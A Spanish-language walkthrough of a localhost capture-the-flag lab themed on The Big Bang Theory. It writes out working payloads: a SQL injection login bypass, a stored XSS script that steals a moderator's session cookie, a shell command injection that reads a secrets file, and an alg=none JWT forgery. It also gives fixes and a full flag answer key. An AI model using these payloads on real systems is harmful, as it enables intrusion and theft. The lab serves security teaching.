Cómo desplegar la máquina
La web queda en http://localhost:8080. El progreso se puede comprobar en
/verificador, pegando cada flag que encuentres (barra 0/10 con feedback en vivo).
Todas las flags están en formato DCB{...}: minúsculas, sin tildes, espacios por
guion bajo.
Bazinga
<head>
...
<!--
Nota de producción (recordatorio interno, quitar antes de publicar):
DCB{bazinga}
-->
</head>
Vulnerabilidad: nota de desarrollo olvidada en un comentario HTML que sí llega a producción.
- Abre
http://localhost:8080/en el navegador (vale cualquier página del sitio, la flag está en la plantilla base que comparten todas). - Haz clic derecho → "Ver código fuente de la página", o pulsa
Ctrl+U(en Firefox/Chrome). - Busca dentro de la etiqueta
<head>un comentario HTML (<!-- ... -->) con una "nota de producción".
Ese es mi sitio
User-agent: *
Disallow: /el-sofa-de-sheldon
Disallow: /borrador-tesis-no-publicar
# Nota interna: mover /el-sofa-de-sheldon fuera de produccion antes de indexar
Vulnerabilidad: "seguridad por oscuridad" —
ocultar una ruta privada listándola en robots.txt, público por definición.
- Visita
http://localhost:8080/robots.txt(con el navegador o concurl). - Fíjate en las líneas
Disallow:— ahí es donde el propio sitio te dice qué rutas "no quiere" que mires. - Visita directamente la ruta indicada,
/el-sofa-de-sheldon.
robots.txt es una petición a los
rastreadores, no un control de acceso. Cualquier ruta privada necesita autenticación real.El Contrato de Convivencia
Vulnerabilidad: datos sensibles filtrados en
los metadatos del PDF (campo Keywords). Un strings/grep
ingenuo no lo encuentra porque el escritor de PDF comprime los objetos internos — hace falta
una herramienta que parsee PDF de verdad (exiftool, pdfinfo).
- Ve a
http://localhost:8080/contrato-de-convivenciay pulsa "Descargar Contrato de Convivencia" (o descárgalo directo concurl -O). - Instala
exiftoolsi no lo tienes (apt install exiftool/brew install exiftool), no usesstringsogrepdirectamente sobre el PDF: no lo van a encontrar. - Ejecuta
exiftool contrato_de_convivencia.pdf(opdfinfo contrato_de_convivencia.pdf) y revisa todos los campos de metadatos que imprime. - Localiza el campo
Keywords— ahí está la flag, mezclada con texto de relleno.
exiftool -all= archivo.pdf.La pizarra de las ecuaciones
Vulnerabilidad: mensaje oculto en los bits menos significativos (LSB) del canal RGB del PNG.
- Ve a
http://localhost:8080/pizarray descarga la imagen a tamaño completo (clic en ella, ocurl -O .../static/img/pizarra_ecuaciones.png). - Ninguna herramienta de vista rápida va a mostrarte nada raro — hay que extraer los bits menos significativos de cada píxel, no basta con mirarla.
- Ejecuta un script de extracción LSB (el de abajo vale tal cual) o prueba con una
herramienta como
zsteg/stegsolvemirando los planos de bits del rojo, verde y azul. - El mensaje extraído termina en el delimitador
::END::— todo lo que va antes de ese delimitador es la flag.
El videoarchivo de Fun with Flags
Episodio 0 — Piloto (nunca emitido)
Grabamos un episodio piloto en 2007 que la cadena rechazó por "excesivamente técnico". Nunca se enlazó desde el archivo público.
Vulnerabilidad: el listado público solo muestra los IDs 1–4, pero el servidor acepta cualquier ID sin comprobar si está "publicado".
- Ve a
http://localhost:8080/fun-with-flagsy observa que los episodios listados van numerados del 1 al 4. - La URL de cada episodio sigue el patrón
/fun-with-flags/<id>. Edita la URL a mano y prueba IDs que no aparecen en el listado: empieza por0, y si no diera resultado seguirías con5,99... - El ID
0carga un episodio "piloto" que nunca se enlazó desde la página pública.
La trastienda del Comic Center
Vulnerabilidad: la consulta se construye
concatenando la entrada del usuario. '1'='1' es siempre cierto y --
comenta el resto — la consulta devuelve el primer usuario sin conocer su contraseña real.
- Ve a
http://localhost:8080/comic-center. - En el campo Usuario escribe:
' OR '1'='1' --(con un espacio después de los dos guiones). - En el campo Contraseña pon cualquier cosa, por ejemplo
x— no importa, nunca llega a comprobarse. - Pulsa Entrar. Te redirige automáticamente a
/comic-center/foro, ya autenticado como el primer usuario de la base de datos (stuart), sin haber usado su contraseña real.
execute("... WHERE usuario = ?", (usuario,))).El libro de visitas de Fun with Flags
Tu ID de sesión: 9866773c
Vulnerabilidad: los comentarios se renderizan
con | safe (sin escapar HTML). Cualquier <script> publicado se
ejecuta en el navegador de quien vea la página — incluida la moderadora que revisa cada
comentario nuevo.
El payload exfiltra document.cookie de la moderadora hacia el
buzón propio del jugador, identificado por su ID de sesión.
- Visita
http://localhost:8080/libro-de-visitasy copia el "ID de sesión" que muestra la página (es distinto cada vez que empiezas sesión de nuevo, así que usa el tuyo, no el del ejemplo). - En el campo Comentario, escribe un payload que, al ejecutarse como
JavaScript, mande
document.cookiea tu propio buzón:<script>fetch('/libro-de-visitas/exfil?player=TU_ID&c='+document.cookie)</script> - Rellena el campo Nombre con lo que quieras y pulsa Publicar comentario.
- Espera un par de segundos — la "moderadora" revisa los comentarios nuevos justo después de cada publicación.
- Visita
http://localhost:8080/libro-de-visitas/buzon: ahí aparece la cookie de sesión de la moderadora, capturada por tu payload.
/libro-de-visitas/exfil que referencie document.cookie, y si lo
encuentra, entrega la cookie real de la moderadora a ese buzón — exactamente el efecto que
tendría un XSS almacenado real contra una víctima que abre la página con su propio
navegador.| safe
con contenido de usuario), Content-Security-Policy, y cookies de sesión
HttpOnly para que document.cookie ni siquiera las exponga.El protocolo Toc-Toc-Toc
Vulnerabilidad: el nombre se concatena sin
sanear en subprocess.run(f"grep -i '{'{nombre}'}' {'{ruta}'}", shell=True).
Cerrando la comilla con ' y añadiendo ; se ejecutan comandos
adicionales.
- Ve a
http://localhost:8080/protocolo-toc-toc. - En el campo Nombre a verificar, introduce un valor que cierre la
comilla simple del comando y encadene uno propio:
x'; cat /app/secrets_flag8.txt; echo ' - Pulsa Verificar y lee el resultado — junto al mensaje habitual de "sin coincidencias" aparece la salida de tu comando inyectado.
La cadena ejecutada por el shell queda como tres comandos separados por
;: el grep original (inofensivo), el cat que lee un
fichero fuera del alcance previsto por la app, y un echo de relleno para cerrar
la sintaxis correctamente.
shell=True con entrada de
usuario. Pasar argumentos como lista (subprocess.run(["grep","-i",nombre,ruta]))
o evitar invocar un shell por completo.Bonus: con ejecución de comandos también se puede leer el propio código fuente de la app — un RCE real rara vez se queda en "una sola flag".
La Cámara de Damas
Vulnerabilidad: el panel confía en el
alg que declara el propio token: si dice none, se salta la
verificación de firma por completo. El secreto real (HS256) es aleatorio e
infactible de adivinar — el fallo no está ahí.
- Ve a
http://localhost:8080/camara-de-damasy entra como invitado con cualquier nombre. Te redirige a/camara-de-damas/panelcon una cookiecamara_tokennueva. - Abre las DevTools del navegador (
F12→ pestaña Application/Storage → Cookies) e inspecciona el valor decamara_token: es un JWT normal,header.payload.firmaseparados por puntos. Decodifícalo en jwt.io para ver su estructura —role: "guest". - Construye tu propio token con cabecera
{"alg":"none","typ":"JWT"}y payload{"nombre":"Sheldon","role":"admin"}, codificados en Base64URL y sin firma (el token termina en un punto seguido de nada): usa el script de más abajo. - Sustituye el valor de la cookie
camara_tokenpor tu token forjado (desde las DevTools, o concurl --cookie). - Recarga
/camara-de-damas/panel: ahora el rol esadminy se muestra la flag.
algorithms=["HS256"]) e ignorar por
completo lo que declare la cabecera del token recibido.La caja fuerte de Meemaw
Vulnerabilidad: ninguna técnica — es ofuscación en dos capas (Base64 sobre hexadecimal), no cifrado real.
- Ve a
http://localhost:8080/caja-fuerte-de-meemawy copia el bloque de texto codificado que deja Meemaw. - Decodifícalo de Base64 (con
base64 -d, CyberChef, o Pythonbase64.b64decode(...)). El resultado es una cadena de caracteres hexadecimales, no la flag todavía. - Decodifica esa cadena hexadecimal a texto ASCII (
xxd -r -p, obytes.fromhex(...)en Python). Ahí sí aparece la flag completa.
🎉 ¡Bazinga! Resumen de las 10 flags
Eres oficialmente más observador que Leonard.
| # | Reto | Categoría | Flag |
|---|---|---|---|
| 1 | Bazinga | Recon | DCB{bazinga} |
| 2 | Ese es mi sitio | Recon | DCB{ese_es_mi_sitio} |
| 3 | Contrato de Convivencia | Forense/metadatos | DCB{no_estoy_loco_mi_madre_me_hizo_pruebas} |
| 4 | La pizarra | Esteganografía | DCB{lloro_porque_los_demas_son_estupidos} |
| 5 | Videoarchivo | IDOR | DCB{el_amor_es_simple_quimica} |
| 6 | Comic Center | SQL Injection | DCB{acepto_tu_premisa_rechazo_tu_conclusion} |
| 7 | Libro de visitas | XSS almacenado | DCB{te_ofrezco_una_bebida_caliente} |
| 8 | Protocolo Toc-Toc-Toc | Command Injection | DCB{toc_toc_toc_penny} |
| 9 | Cámara de Damas | JWT alg=none | DCB{necesidad_de_compartir_la_vida} |
| 10 | Caja fuerte de Meemaw | Criptografía | DCB{no_soy_newton} |